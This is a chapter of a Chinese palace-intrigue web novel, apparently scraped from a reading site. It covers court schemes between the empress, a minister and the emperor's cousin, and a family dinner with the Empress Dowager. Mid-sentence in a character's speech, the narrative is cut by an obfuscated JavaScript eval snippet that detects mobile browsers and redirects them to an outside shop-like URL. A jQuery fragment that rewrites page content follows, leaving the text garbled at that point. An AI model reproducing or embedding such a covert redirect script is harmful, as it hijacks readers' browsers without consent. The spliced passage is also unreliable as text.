常朝之后,冯建功和曾介之同路而行,皇后如今一人之下,她的威胁让冯建功有些不安。
曾介之一路沉吟思索,皇后其人,当初即便知道他和沈存正斗得你死我活,还能大大方方在刘衡面前夸他辛苦了,后来他想逼迫皇帝杀了许延光,皇后也能迅速脱身,这两次都不太好看的局面,皇后都能不动声色的扭转过来,如果她说要杀了冯建功,未必心中没有成算。
“我看你不要留在中京了,皇后为人沉稳有决断,她对你有杀意,搞不好真的会不惜一切除掉你,你还得出去剿匪,多立些功劳,才能保住性命。”
冯建功没想到曾介之对许赢君这么忌惮,也有些紧张起来,“曾相公,我该往哪里去呢?”
“陛下命你兼桂州防御使,桂州异族聚集,又是边地,平常动乱不断,你去向皇帝请旨,说你愿意领实职,这样陛下只会越发看重你,等到什么时候你出了孝期,可以迎娶永嘉郡主了,你再回来。”
“到时候你就是韩王的女婿,身上又有功劳,皇后就不敢动你了。”
冯建功没想到一回京就要逃命,甚至还要靠一个声名狼藉的女人,才能保住性命,他看看远处的宫阙,想要往上爬的心从来没有这么强烈过。
曾介之接下来的话打断了他的沉思,“还有,太子已经年满七岁了,该找伴读了,为了防止皇后在太子身边塞人,你得赶紧告诉太后,选亲近之家的子侄入宫,先行和太子熟络起来,这样日后太子自己要挑选谁为伴读,连皇后也不好责怪太后。”
冯建功突然被提醒,他反应过来,立马点头,“我会命人传话给冯妃,让她办好此事。”
夏末秋初,这是一年中最为舒适的季节,外朝正在紧锣密鼓地筹备五国朝见之事,使臣来朝,无非是看看刘衡作为华夏之君,有没有人君之相,所以刘衡对此非常重视,只要承天门朝见之时能震慑这些周边小国,就能少些战乱了。
鸿胪寺又往上递了折子,说是承天门及周边城墙年久失修,请皇帝拨了款项维修,刘衡便指派了许赢君的二叔许慎,将作监判监事来负责此事,但是银两的出处却没有说。
外头抬进来几筐新鲜的芋头,单独几只削了皮,雪白雪白的堆在银盘里,乐景笑道:“这是家里太太送给娘娘的,她记得您往年爱吃这个,所以特地叫人送来的。”
是她母亲送来的,许赢君出了一回神,延光死后,母亲视她如同仇寇,她一直觉得是因为自己不在母亲身边长大,所以母亲不疼她,可前世冯太后以死相逼,让刘衡废后,母亲竟然在福宁殿服毒救她,世上所有人都知道冯太后和皇帝逼死了皇后生母,御史台和谏院疯狂上折子弹劾冯太后恶毒,又大骂皇帝刻薄,冯太后被吓破了胆,自此不敢再提废后二字。
她那时候才知道,母亲不是恨她,是在恨自己,她恨自己没能护住自己的孩子,她发泄不出来,只能顺便连女儿也恨一恨,后来长女再面临这种危机,她便毫不吝惜地舍了性命。
许赢君收下了芋头,转头送了四样药材回家,分别是晒干的菊花、百合、酸枣仁以及杜仲。
深宫传信不易,后妃们的家人只能通过和女儿交换礼物的方式,来换取自己的安心,她相信二叔已经看到药材盒子里的信了。
二叔本来在福建为官,前程大好,因为她成为皇后,便主动要求回京,如今是将作监的主官,也是从三品的大员,却已经远离朝政中心了,前世五国朝见在即,中京外城墙年久失修,便指派了叔父去修。
但这个差事一直就办的不怎么顺利,先是三司缺钱,叔父只能靠许家声望,四处拜访中京庙宇,各处大商行,一共募捐了五千贯来维修承天门。
因为银钱太少,叔父只勉强修整好了崇明、朱雀、保康这几道正门,侧城门也就只能糊弄一下了,搞得刘衡不高兴,觉得把这么重要的任务交给你,我刚刚登基,外邦来贺,就这么破破烂烂的,二叔也有些气不顺,觉得换了别人,钱都掏不出来,别说修了。
这五千贯,刘衡始终觉得没花对地方,又舍了人情给几座庙宇,还要在承天门前立碑纪念,因此派了两拨人去查账,二叔被同僚耻笑,连自家女婿都不放心他的手过银子。
二叔没想到费心一场,却被如此嫌弃,最后是憋着气修好了城门。
谁知朝见当时更是出了大岔子,礼部仪仗队的宝象经过承天门时,竟然一脚踏碎道路上的青砖,使臣们亲眼目睹,刘衡大怒,先是命人彻查,折腾了半天没有查出二叔中饱私囊,仍旧把二叔贬到了太仆寺。
后来王博知弹劾叔父在福建为官时贪污,很难说前面的事没有推波助澜,不然为什么二叔会那么容易就下了狱?
她这一世提前告知了二叔,如果没钱,绝对不可以自己募捐,要么找皇帝要钱,要么宁愿把这门差事推出去。
福宁殿,冯建功正言辞恳切和刘衡详谈,“冯家出身贫苦,陛下和太后越是厚待臣,臣心里就越发的不安,臣唯一擅长的,无非就是手上还有两把子力气,陛下既然让臣当了桂州防御使,不如便放臣去历练,让臣为冯家光耀门楣,也为陛下长脸。”
刘衡有些震撼,其实勋贵外戚,挂职防御使的不知凡己,但像冯建功这样上进的,确实十分少见。
他喜欢上进的人,自然不会拒绝,真心实意对冯建功道:“好,你是我的表兄,我也盼着你建功立业,成为我的左膀右臂。”
至于之前怀疑冯建功挑唆冯太后大闹福宁殿的事,刘衡的火气也没那么大了,谁能一点私心都没有呢?
谁知冯建功又跪下,沉声道:“但臣临行之前,还有些话,是必须要对陛下说的,不然,臣想这天底下只怕也没几个敢说了。”
刘衡大概猜到了冯建功想说什么,便沉默不语。
冯建功恳切地说着,“冯家家贫,姑母自幼被卖入宫廷,大字都不识几个,愿该是吃苦的命,不说姑母,就连冯家也是如此,是陛下托生在她老人家的肚子里,才让冯家和姑母显贵。”
说到这里,冯建功小心去看刘衡的脸色,见他似有动容,才继续说,“她老人家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486218|202024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知道如何应酬宗室外戚,但为了您,如今也和鲁国大长公主和好了,她大闹福宁殿是错,如今心中不知如何后悔……”
“臣有个大儿子,因为祖父母宠爱十分顽皮,也一点都不怕臣,臣偶尔揍了他,他立马不再理会臣,但臣却会忍不住去看他,臣与陛下同样为人父,陛下应该知道,孩子硬气起来,还是只有咱们当长辈去哄他们的份啊。”
言罢,冯建功深深磕头。
皇帝深深叹气,母子天性,他确实被这番话说的心软了,再者冯建功为人已经算是难得的忠厚,宗亲外戚们总是闯祸不断,他却一直在外辛苦办差,不断给自己长脸,他也不好半句话都不听人家的。
便点头道:“你的忠心我都清楚,要不是心里有我,何必担着得罪我的风险,劝我和太后母子和睦,你放心,我会好好孝顺太后,太后若有糊涂之处,我也会耐心劝解,不辜负你今天的劝谏。”
晚上刘衡便去了万寿殿给冯太后请安,他有些日子没有来万寿殿了,本来以为按照冯太后的脾气,肯定要大骂他没有良心。
没想到冯太后一见到他,却是纯然的高兴,拉着他问,“皇帝怎么有空来看我,你用膳了没有?”
刘衡摇摇头,冯太后立马征求他的意见,“那你想吃什么,我赶紧吩咐尚食局的人做?”
冯太后亲自给刘衡拧了帕子,什么都不干,就站在一边笑吟吟看着刘衡洗脸,还夸他,“皇帝长得越发有威仪了。”
她半点都不记得是如何被儿子骂的了,刘衡有些感慨,他还在生冯太后的气,冯太后却早就不和他计较了。
“坐吧,今天我陪你和太后用膳。”
果然,冯太后又把冯妃叫了过来,冯妃站在一边给刘衡添菜递酒,先前她比皇后得宠,还会在刘衡面前撒娇笑语,但如今皇后与她平分秋色,甚至隐隐有些超过她,她就更加温柔体贴了。
刘衡也知道冯妃为了保住地位,已经百依百顺来讨好他了,一个人能对他好到这种地步,他不会不动容的。
冯妃感激地看了刘衡一眼,正要坐下,却不小心和旁边撤菜的小宫女迎面撞了一下,两个人同时小声惊呼。
那宫女立马跪下请罪,冯妃还没有说话,冯太后已经不耐烦起来地骂起宫女来,“不长眼的东西,连主子都看不见,也不知道宫正司的人怎么教的你,下去领二十板子!”
刘衡闻言有些惊愕,宫女犯错,殿里这么多大宫女看着,私下肯定会管教,冯太后为什么自己惩罚,不怕宫人们对她心生怨恨吗?
他没有当面阻拦,却看了常德寿一眼,常德寿会意,赶上小宫女,拦住她说,“太后吓唬你玩呢,自己回去好好休息一日,明天再来上值。”
冯太后一边亲热地关心儿子的起居饮食,听到儿子时常熬夜,心疼之意溢于言表,转而又骂起许赢君,“皇后脾气大,怎么能服侍的好你,还是冯妃细心,她又年轻,你该多召见她,我也知道你有贴心的人照料,也放心些。”
冯妃有些不好意思地低下头。